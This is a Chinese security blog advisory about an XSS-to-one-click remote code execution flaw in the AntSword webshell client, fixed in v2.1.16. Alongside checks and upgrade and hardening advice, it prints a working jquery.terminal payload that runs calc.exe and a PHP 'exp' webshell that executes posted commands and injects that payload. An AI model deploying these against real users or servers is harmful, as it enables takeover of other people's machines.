蚁剑用户注意HW前记得要修复:点了一下链接,对面直接接管你电脑

admin 2026-04-29 05:44:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档披露蚁剑(AntSword)v2.1.15及更早版本存在高危XSS转一键RCE漏洞(CVSS8.8),攻击者可通过恶意服务端注入jquery.terminal格式码,用户点击终端链接即可触发任意命令执行。核心问题在于noxss()过滤不严与二次渲染间隙,建议立即升级至v2.1.16版本或避免点击可疑链接。 综合评分: 82 文章分类: 漏洞分析,安全工具,WEB安全,渗透测试,应急响应


cover_image

蚁剑用户注意HW前记得要修复:点了一下链接,对面直接接管你电脑

原创

宝十八 宝十八

网络安全老宋

2026年4月28日 12:01 山东

在小说阅读器读本章

去阅读

导语: 你好,我是老宋。关注我,安全攻防干货准时送达!

HW前,建议AntSword升级或者卸载,别被蓝队反制哟

2026年4月24日,安全研究员 s2cr3t 在 AntSword 官方 GitHub 仓库提交了一个高危漏洞报告(Issue #370)。

简单说:你用蚁剑连了一个”有问题”的服务端,在终端里随手点了一个链接,结果你电脑就被别人接管了。


这个漏洞是怎么回事?

漏洞档案

| 项目 | 详情 | | — | — | | 漏洞类型 | XSS → 1-Click RCE | | 影响版本 | AntSword v2.1.15 及更早版本 | | CVSS 评分 | 8.8(高危) | | 利用条件 | ① 连接恶意服务端 ② 点击终端中的链接 | | 漏洞来源 | GitHub Issue #370(已修复) |

为什么这么严重?

蚁剑基于 Electron 开发,默认开启 nodeIntegration: true,渲染进程能直接调用 Node.js 的 child_process 模块。

问题出在 noxss() 函数——它只过滤了 & ' > < " 五个字符,但没管 jquery.terminal 格式码用的 [ ] ! ; : 这些字符。

攻击流程是这样的:

恶意服务端构造响应&nbsp; &nbsp; &nbsp; &nbsp; ↓noxss() 过滤(通过了,没拦住)&nbsp; &nbsp; &nbsp; &nbsp; ↓jquery.terminal 解析格式码&nbsp; &nbsp; &nbsp; &nbsp; ↓渲染成可点击的 javascript: 链接&nbsp; &nbsp; &nbsp; &nbsp; ↓你点了一下&nbsp; &nbsp; &nbsp; &nbsp; ↓calc.exe 在你电脑弹出(这只是演示)&nbsp; &nbsp; &nbsp; &nbsp; ↓黑客可以执行任意命令

payload 长这样:

[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}]

exp

<?php// 恶意WebShell,执行任意命令时返回包含恶意格式码的结果if(isset($_POST['ant'])){&nbsp; &nbsp;&nbsp;$cmd&nbsp;=&nbsp;base64_decode($_POST['ant']);&nbsp; &nbsp;&nbsp;// 执行命令并获取结果&nbsp; &nbsp;&nbsp;$output&nbsp;=&nbsp;shell_exec($cmd);
&nbsp; &nbsp;&nbsp;// 注入jquery.terminal格式码,触发1-Click RCE&nbsp; &nbsp;&nbsp;$malicious&nbsp;=&nbsp;'[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}]';
&nbsp; &nbsp;&nbsp;// 返回拼接后的结果&nbsp; &nbsp;&nbsp;echo&nbsp;$output&nbsp;.&nbsp;"\n"&nbsp;.&nbsp;$malicious;}?>

看起来像普通链接,你点一下,本地就弹出计算器——能弹计算器,就能干别的事。

怎么知道自己有没有中招?

快速检查

方法一:看版本

打开蚁剑 → 左上角「AntSword」→ 「关于」 – 如果显示 v2.1.15 或更早版本 → 受影响 – 如果是 v2.1.16 → 已修复

方法二:看终端链接功能是否可用

打开虚拟终端 → 输入任意命令 → 看输出里有没有带下划线的可点击链接 – 如果有 → 说明你还没打补丁,link 解析 功能是开启状态


怎么修?

✅ 方案一:升级到最新版(推荐)

下载地址:

https://github.com/AntSwordProject/antSword/releases/tag/2.1.16

官方新增了 noxssTerminal() 函数,将 [ ] 替换为全角字符,从根本上断掉了格式码注入路径。

🟡 方案二:临时缓解

  • 不连接不可信的服务端

    ⁠——这是最重要的,工具再好也扛不住主动送上门

  • 不要点击终端里的陌生链接

    ⁠——特别是命令输出中突然出现的 URL

🟠 方案三:长期加固(适合企业环境)

修改 app.js 中的 Electron 配置:

// app.js 第58行附近webPreferences: {&nbsp;&nbsp;nodeIntegration:&nbsp;false, &nbsp;&nbsp;// 关闭 Node.js 直接访问&nbsp;&nbsp;contextIsolation:&nbsp;true, &nbsp;&nbsp;// 启用上下文隔离}

但这个改法会影响蚁剑的部分功能,生产环境建议先测试。


老宋说

这个漏洞的本质,是一个二次渲染的安全间隙⁠——noxss() 过滤了一次,但 jquery.terminal 又解析了一次,中间留了空档。

说实话,蚁剑这些年更新挺勤快的,这个漏洞从提交到修复只用了不到24小时,值得肯定。但工具本身的双刃剑属性不会变:你用它管服务器,黑产也在研究怎么反噬用它的人⁠。

高频使用的工具,更要盯安全更新。这是老宋反复强调的——不是你不信蚁剑,是你的客户端环境本来就不干净⁠。

今年不知道什么时候会开始,但是大家也要排查好自己的工具武器,别让自己成为了最薄弱的一环。


速查表

| 项目 | 说明 | | — | — | | 漏洞编号 | GitHub Issue #370 | | 危险等级 | 🟠 高危(CVSS 8.8) | | 漏洞类型 | XSS → 1-Click RCE | | 利用门槛 | 需点击链接(非自动触发) | | 影响范围 | AntSword ≤ v2.1.15 | | 修复方式 | 升级到 v2.1.16 | | 官方公告 | https://github.com/AntSwordProject/antSword/releases/tag/2.1.16 |


往期精彩

杀毒软件可能有漏洞:360和金山毒霸内核驱动高危风险

2026年国内镜像源指南:35个常用源+全场景使用方法

影子资产、ICMP打点、无文件驻留——内网渗透的三个新趋势

🔐 我是网络安全老宋

专注把安全威胁翻译成你听得懂的实操建议。每周推送漏洞预警、工具测评、攻防笔记。

如果你用蚁剑,现在就去升级⁠,别等。

觉得有用,点个在看,转发给你身边做安全的朋友,就是对我最大的支持。

我们下期见 👋


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全老宋 宝十八 宝十八《蚁剑用户注意HW前记得要修复:点了一下链接,对面直接接管你电脑》

csrf删除用户 网络安全文章

csrf删除用户

文章总结: 文档详细介绍了利用CSRF漏洞删除用户账户的完整流程,包括通过BurpSuite捕获删除请求、生成CSRF攻击代码的具体步骤。关键发现是目标站点未校
评论:0   参与:  0